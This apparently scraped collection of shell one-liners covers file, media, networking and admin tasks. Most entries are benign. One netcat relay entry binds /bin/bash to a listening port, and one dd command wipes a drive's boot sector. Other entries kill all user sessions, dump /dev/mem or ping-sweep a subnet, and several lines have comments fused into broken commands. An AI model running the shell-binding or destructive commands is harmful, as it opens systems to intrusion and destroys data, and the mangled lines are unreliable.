free -m | awk '/Mem/ {print $4}'
# Find files with at least one exec bit set
find . -type f -perm +0111 -print
# Delete all aliases for a network interface on a (Free)BSD system
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
# Extracting a range of pages from a PDF, using GhostScript
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17 -sOutputFile=OUTPUT.pdf ORIGINAL.pdf
# Flush and then immediately start watching a file
(> errors.log) && tail -f !^
# View a file with less, starting at the end of the file
less +G <filename>
# Top Command in batch mode
top -b -n 1
# Split a file one piece at a time, when using the split command isn't an option
 (not enough disk space)dd if=inputfile of=split3 bs=16m count=32 skip=64
# Convert files from DOS line endings to UNIX line endings
sed -i 's/^M//' file
# Print number of mb of free ram
free -m | awk '/buffer/ {print $4}'
# Monitor incoming connections of proxies and balancers.
watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\") ; split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c"
# Find chronological errors or bad timestamps in a Subversion repository
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
# creeate file named after actual date
touch file-$(date +%Y%m%d)
# Fibonacci With Case
fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo $[$(fib $[$1-2])+$(fib $[$1-1])];;*)exit 1;;esac;}
# a fast way to repeat output a byte
ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024) '\\255')) [1..24]"
# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Find commets in jpg files.
find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
# Factorial With Case
fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo $[$1*$(fac $[$1-1])];;*)exit 1;;esac }
# Colour part of your prompt red to indicate an error
export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ '
# archlinux: find more commands provided by the package owning some command
pkgfile -lb `pkgfile <command>`
# how many pages will my text files print on?
numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}'
# A command line calculator in Perl
perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
# A "Web 2.0" domain name generator and look for register availability
for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H $domain.com | grep -o 'No match for')" ];  then echo -ne "Not "; fi; echo "Available for register"; done
# Nicely display permissions in octal format with filename
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
# Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
# Find if $b is in $a in bash
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $7}'`
# Use Perl like grep
prep () { perl -nle 'print if '"$1"';' $2 }
# phpinfo from the command line
echo "<?php phpinfo(); ?>" | php > phpinfo.txt
# Open a file at the specified line
emacs +400 code.py
# Non Numeric Check
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
# Find if $b is in $a in bash
if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi
# Complex string encoding with sed
cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?feed=rss2.html"|g'
# start vim in diff mode
vimdiff file{1,2}
# echo something backwards
echo linux|rev
# grep -v with multiple patterns.
sed -n '/test/{/error\|critical\|warning/d;p}' somefile
# Fast tape rewind
< /dev/rmt/0cbn
# Video Google download
wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.\+\)\\\x26thumbnailUrl\\\x3dhttp" | grep -o "http.\+" | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e | sed 's/.\{22\}$//g' | xargs wget -O OUPUT_FILE
# Convert decimal numbers to binary
function decToBin { echo "ibase=10; obase=2; $1" | bc; }
# Find all files that have nasty names
find -name "*[^a-zA-Z0-9._-]*"
# Test disk I/O
dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync
# A nice command for summarising repeated information
alias counts=sort | uniq -c | sort -nr
# Detect encoding of a text file
file -i <textfile>
# Display which distro is installed
lsb_release -a
# Use Perl like grep
ack; pcregrep
# get a directory from one machine to another using tar and ssh
ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -
# show where symlinks are pointing
lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",$NF) }'; }
# Number file
nl file.txt > file_numbered.txt
# Get your external IP address
curl ifconfig.me/all/json
# Generate random valid mac addresses
for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:$(( $RANDOM % 16 )):1} ; done | sed -e 's/\(..\)/:\1/g' | sed 's/.\(.*\)/\1/' ; echo; done
# ring the bell
alias beep='echo -en "\007"'
# Batch edition of all OpenOffice.org Writer files in the current directory (bod
y text)bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i"; sed -i "s/$S/$R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; }
# Generate random valid mac addresses
h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:$(($RANDOM%16)):1};if [[ $((c%2)) = 0 && $c != 12 ]];then echo -n :;fi;done;echo
# OSX: Hear pronunciation of a word
say WORD
# Delete all flash cookies.
find $HOME -name '*.sol' -exec rm {} \;
# write text or append to a file
cat <<.>> somefilename
# remove leading blank lines
sed '/./,$!d'
# Check if x509 certificate file and rsa private key match
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
# Remove CR LF from a text file
tr -d '\r\n' < input_file.txt > output_file.txt
# Make a playlistfile for mpg321 or other CLI player
ls -w 1 > list.m3u
# List of services sorted by boot order in Redhat-based systems
find /etc/rc3.d/ | sort -g
# Limit memory usage per script/program
(ulimit -v 1000000; scriptname)
# Remove all hidden files in a directory
rm -r .??*
# Get names of files in /dev, a USB device is attached to
ls -la /dev/disk/by-id/usb-*
# set desktop background to highest-rated image from Reddit /r/wallpapers
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh --bg-seamless
# Screencast with ffmpeg x11grab
ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 -y output.mkv
# reverse order of file
sed '1!G;h;$!d'
# Recursively grep thorugh directory for string in file.
grep -rni string dir
# Updated top ten memory utilizing processes (child/instance aggregation) now wi
th percentages of total RAMTR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
# Convert a single-page PDF to a hi-res PNG, at 300dpi
convert -density 300x300 input.pdf output.png
# finding more large files
find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5
# rgrep: recursive grep without .svn
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
# power off system in X hours form the current time, here X=2
echo init 0 | at now + 2 hours
# Go get those photos from a Picasa album
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
# Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great 
for init scriptsG=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
# Reverse a file
tac -r -s "." FILENAME
# Give all those pictures the same name format, trailing zeros please for the ri
ght order, offset to merge different collections of picturesOFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do NF="${F%.jpg}";NF="${NF/#+(0)/}";NF=$[NF+OFFS];NF="$(printf $FF $NF)".jpg;if [ "$F" != "$NF" ];then mv -iv "$F" "$NF";fi;done
# Root shell
sudo -i
# check the filesystem  and use  a progress bar
e2fsck -C -v /dev/device
# faster version of ls *
echo *
# Hear the mice moving
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done
# vi a new file with execution mode
vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; }
# Undo commit in Mercurial
hg diff -c $REV --reverse | hg patch --no-commit -
# Mutt - Change mail sender.
export [email protected] && mutt -s "chave webmail" [email protected] < /dev/null
# Use color grep by default
alias grep 'gnu grep -i --color=auto'
# List folders containing only PNGs
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
# Random unsigned integer
od -N 4 -t uL -An /dev/random | tr -d " "
# Sort output by column
ps aux | sort -nk 6
# Show account security settings
chage -l <user>
# Find the fastest server to disable comcast's DNS hijacking
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
# Generate random valid mac addresses
for i in {1..6}; do printf "%0.2X:" $[ $RANDOM % 0x100 ]; done | sed 's/:$/\n/'
# Empty Bind9 cache
rndc flush
# Find out the last times your system was rebooted (for the duration of wtmp).
last reboot
# find out which directories in /home have the most files currently open
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr
# Perform a reverse DNS lookup
dig -x 74.125.45.100
# Ping sweep without NMAP
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
# find read write traffic on disk since startup
iostat -m -d /dev/sda1
# Print Asterisk phone logs
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }
# Output files without comments or empty lines
grep -v "^\($\|#\)" <filenames>
# commandline dictionary
wn wonder -over
# Dock Thunderbird in system tray and hide main window
alltray -H thunderbird
# Find today created files
find directory/ -mtime 0 -type f
# Show current iptables rules, with line numbers
iptables -nL -v --line-numbers
# last.fm rss parser
egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
# Search for files  older than 30 days in a directory and list only their names 
not the full pathfind /var/www/html/ -type f -mtime +30 -exec basename {} \;
# last.fm rss parser
awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
# Copy via tar pipe while preserving file permissions (run this command as root!
)tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -
# Counts number of lines (in source code excluding comments)
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e'
# Check executable shared library usage
ldd <executable binary>
# Route outbound SMTP connections through a addtional IP address rather than you
r primaryiptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
# pass the output of some command to a new email in the default email client
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
# Print a list of installed Perl modules
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC'
# unpack all rars in current folder
unrar e *.rar
# View all images
find -iname '*.jpg' -print0 | xargs -0 feh -d
# Recursively move folders/files and preserve their permissions and ownership pe
rfectlycd /source/directory; tar cf - . | tar xf - -C /destination/directory
# Search through files, ignoring .svn
grep <pattern> -R . --exclude-dir='.svn'
# Block all IP addresses and domains that have attempted brute force SSH login t
o computer/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
# Download a file securely via a remote SSH server
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/}
# Mount Fat USB with RWX
sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb
# Enter a command but keep it out of the history
<space> secret -p password
# Detach a process from the current shell
nohup ping -i1 www.google.com &
# Execute MySQL query send results from stdout to CSV
mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv
# Safe Delete
shred -n33 -zx file; rm file
# Insert  the  last  argument  of  the previous command
<ALT> .
# Get the header of a website
curl -sI http://blog.binfalse.de
# Better recursive grep with pretty colors... requires ruby and gems (run: "gem 
install rak")rak "what you're searching for" dir/path
# Sort IP addresses
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
# A DESTRUCTIVE command to render a drive unbootable
dd if=/dev/zero of=/dev/fd0 bs=512 count=1
# run command on a group of nodes in parallel
seq 1 5 | parallel ssh {}.cluster.net uptime
# intercept stdout/stderr of another process or disowned process
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g" -e 's/ //g' | xxd -r -p
# find text in a file
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
# Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
# Display the list of all opened tabs from Firefox via a python one-liner and a 
shell hack to deal with python indentation.python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
# convert pdf into multiple png files
gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>
# Stat each file in a directory
find . -maxdepth 1 -type f | xargs stat
# Find files and list them sorted by modification time
find -type f -print0 | xargs -r0 stat -c %y\ %n | sort
# Generate a random password
openssl rand -base64 12
# wc in perl
perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt
# Verbosely delete files matching specific name pattern, older than 15 days.
rm -vf /backup/directory/**/FILENAME_*(m+15)
# Convert .flv to .avi
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
# Remove last line from files recursively
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;
# recursive search and replace old with new string, inside files
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'
# Batch rename extension of all files in a folder, in the example from .txt to .
mdfor f in *.txt; do mv $f `basename $f .txt`.md; done;
# This is N5 sorta like rot13 but with numbers only
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
# Paste OS X clipboard contents to a file on a remote machine
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
# git pull all repos
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done
# Get info about a GitHub user
curl http://github.com/api/v1/yaml/git
# find out how much space are occuipied by files smaller than 1024K (sic) - impr
ovedfind dir -size -1024k -type f -print0 | du --files0-from - -bc
# disassemble binary shellcode
objdump -b binary -m i386 -D shellcode.bin
# Get info about a GitHub project
curl http://github.com/api/v1/yaml/search/vim
# Display or use a random file from current directory via a small bash one-liner
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
# Delete empty directories with zsh
rm -d **/*(/^F)
# Merge various PDF files
pdftk first.pdf second.pdf cat output output.pdf
# To find the count of each open file on a system (that supports losf)
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
# Recursively execute command on directories (.svn, permissions, etc)
find . -type d -name .svn -exec chmod g+s "{}" \;
# Get current Xorg resolution via xrandr
xrandr  | grep \* | cut -d' ' -f4
# Quick HTML image gallery
find . -iname '*.jpg' | sed 's/.*/<img src="&">/' > gallery.html
# Suspend to ram
sudo pm-suspend
# Extract JPEG images from a PDF document
pdfimages -j foo.pdf bar
# Count lines of code across multiple file types, sorted by least amount of code
 to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
# Find dead symbolic links
find . -type l | perl -lne 'print if ! -e'
# A command's package details
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less
# move contents of the current directory to the parent directory, then remove cu
rrent directory.mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD
# remove hostname from known_hosts
ssh-keygen -R hostname
# a function to create a box of '=' characters around a given string.
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)" 1>&2; break; }; done; done`
# List files with full path
find $(pwd) -maxdepth 1
# Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)
# Check if a web page has changed last time checked.
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s "Page has changed." [email protected] ; fi ; mv /tmp/new.html /tmp/old.html
# List files with full path
ls | sed s#^#$(pwd)/#
# Add an audio soundtrack to a series of images to create an flv
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv
# Grab just the title of a youtube video
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '<title>' | grep '-') | sed 's/^- //'
# Download all images from a 4chan thread
function 4get () { curl $1 | grep -i "File<a href" | awk -F '<a href="' '{print $4}' | awk -F '" ' '{print $1}' | xargs wget }
# generate random number
echo $RANDOM
# Lazy man's vim
function v { if [ -z $1 ]; then vim; else vim *$1*; fi }
# add files to existing growable DVD using growisofs
growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
# Kill any lingering ssh processes
for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
# mount an iso
mount -o loop -t iso9660 my.iso /mnt/something
# Remove old unused kernels from Red Hat Enterprise Linux 5 & Fedora 12/13
/usr/bin/package-cleanup --oldkernels --count=3
# BASH: Print shell variable into AWK
MyVAR=85 awk '{ print ENVIRON["MyVAR"] }'
# command line to optimize all table from a mysql database
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname
# Quickest way to sort/display # of occurences
"some line input" | sort | uniq -c | sort -nr
# cat stdout of multiple commands
cat <( command1 arg arg ) <( command2 arg ) ...
# raw MySQL output to use in pipes
mysql DATABASE -N -s -r -e 'SQL COMMAND'
# Find common lines between two files
comm -12 FILE1.sorted FILE2.sorted > common
# Unaccent an entire directory tree with files.
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
# HTML5 ogg player
echo '<html><body><table>' > /tmp/bar.html && find / -name '*.ogg' | sort | awk '{print "<tr><td>"$1"</td><td><audio src=\""$1"\" controls='controls'></audio></td></tr>" }' >> /tmp/bar.html &&  echo '</table></body></html>' >> /tmp/bar.html
# Split and join with split and cat.
split -b 1k file ; cat x* > file
# Recursively Add Changed Files to Subversion
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
# ruby one-liner to get the current week number
ruby -rdate -e 'p DateTime.now.cweek'
# online MAC address lookup
curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo
# SSH tunneling self-connection
autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1 -L bind_address2:localport2:server2:remoteport2 user@sshserver
# pipe output to notify-send
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
# Equivalent to ifconfig -a in HPUX
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
# pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
# Find out current working directory of a process
readlink /proc/self/cwd
# ThePirateBay.org torrent search
tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\%20/g') | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; }
# The Chronic: run a command every N seconds in the background
chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
# Get a list of all your VirtualBox virtual machines by name and UUID from the s
hellVBoxManage list vms
# resume scp-filetransfer with rsync
rsync --partial --progress --rsh=ssh user@host:remote-file local-file
# Capture screen and mic input using FFmpeg and ALSA
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
# make sure you don't add large file to your repository
svn status | awk '{print $2}' | xargs du | sort -n | tail
# pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing Foobar" --text "Pleae wait until process has finished."
# Creates a proxy based on tsocks.
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
# view the system memory in clear text
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
# List contents of tar archive within a compressed 7zip archive
7z x -so testfile.tar.7z | tar tvf -
# Strace all signals processes based on a name ( The processes already started..
. ) with bash built-instraceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
# Send your svn diff to meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
# Copy the text from the 3rd line to the 9th line into a new file with VI
:3,9w new_file
# Concatenate video files to YouTube ready output
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
# Realtime lines per second in a log file
tail -f access.log | pv -l -i10 -r >/dev/null
# convert hex to decimal ; decimal to hex
echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
# Display the standard deviation of a column of numbers with awk
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
# Convert PDF to JPEG using Ghostscript
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
# Lines per second in a log file
tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log
# create a new script, automatically populating the shebang line, editing the sc
ript, and making it executable.shebang() { if i=$(which $1); then printf '#!%s\n\n' $i >  $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; }
# Separates each frame of a animated gif file to a counted file, then appends th
e frames together into one sheet file. Useful for making sprite sheets for games.convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
# Compress logs older than 7 days
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
# convert strings toupper/tolower with tr
echo "aBcDeFgH123" | tr a-z A-Z
# online MAC address lookup
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
# Duplicating service runlevel configurations from one server to another.
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
# From Vim, run current buffer in python
! python %
# Show a Package Version on Debian based distribution
apt-cache show pkgname | grep -i "version:"
# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
# Make a high definition VNC
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
# extract all urls from firefox sessionstore
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g"  sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
# List the libraries used by an application
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/'
# show the date every rpm was installed
rpm -qa --last
# create an screenshot, upload it to your server via scp and then open that scre
enshot in firefoxFILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
# Parallel mysql dump restore
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
# Force an fsck on reboot
shutdown -rF now
# Give {Open,True}Type files reasonable names
shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
# Decode base64-encoded file in one line of Perl
perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out
# Find the biggest files
du -sk * | sort -rn | head
# Decode base64-encoded file in one line of Perl
openssl base64 -d < file.txt > out
# Watch memcache traffic
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211
# Netcat Relay
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;
##  nc -l $IamTargetHost 1234 -e /bin/bash;
# u can hear all .ogg files with vlc that thier link are in url
lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null
# top svn committers (without awk)
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr
# Averaging columns of numbers
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
# Validating a file with checksum
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
# Set file access control lists
setfacl -m u:john:r-- myfile
# Generate SHA1 hash for each file in a list
find . -type f -exec sha1sum {} >> SHA1SUMS \;
# Grab an interface's IP from ifconfig without screen clutter
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
# Most used command
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# Quick plotting of a function
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
# Print text string vertically, one character per line.
echo "vertical text" | fold -1
# Show a line when a "column" matchs
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
# get your terminal back after it's been clobbered
reset
# Remove newlines from output
cat filename | grep .
# Produce a pseudo random password with given length in base 64
date +%s | sha256sum | base64 | head -c <length>; echo
# Get NFL/MLB Scores/Time
w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// : F\//g'|sed 's/, / : /g'|grep -i ':'
# Backup a file with a date-time stamp
buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; }
# tar directory and compress it with showing progress and Disk IO limits
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip > /mnt/c/home.tar.gz
# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users,//'
# Download a numbered sequence of files
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"
# Summarise the size of all files matching a simple regex
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
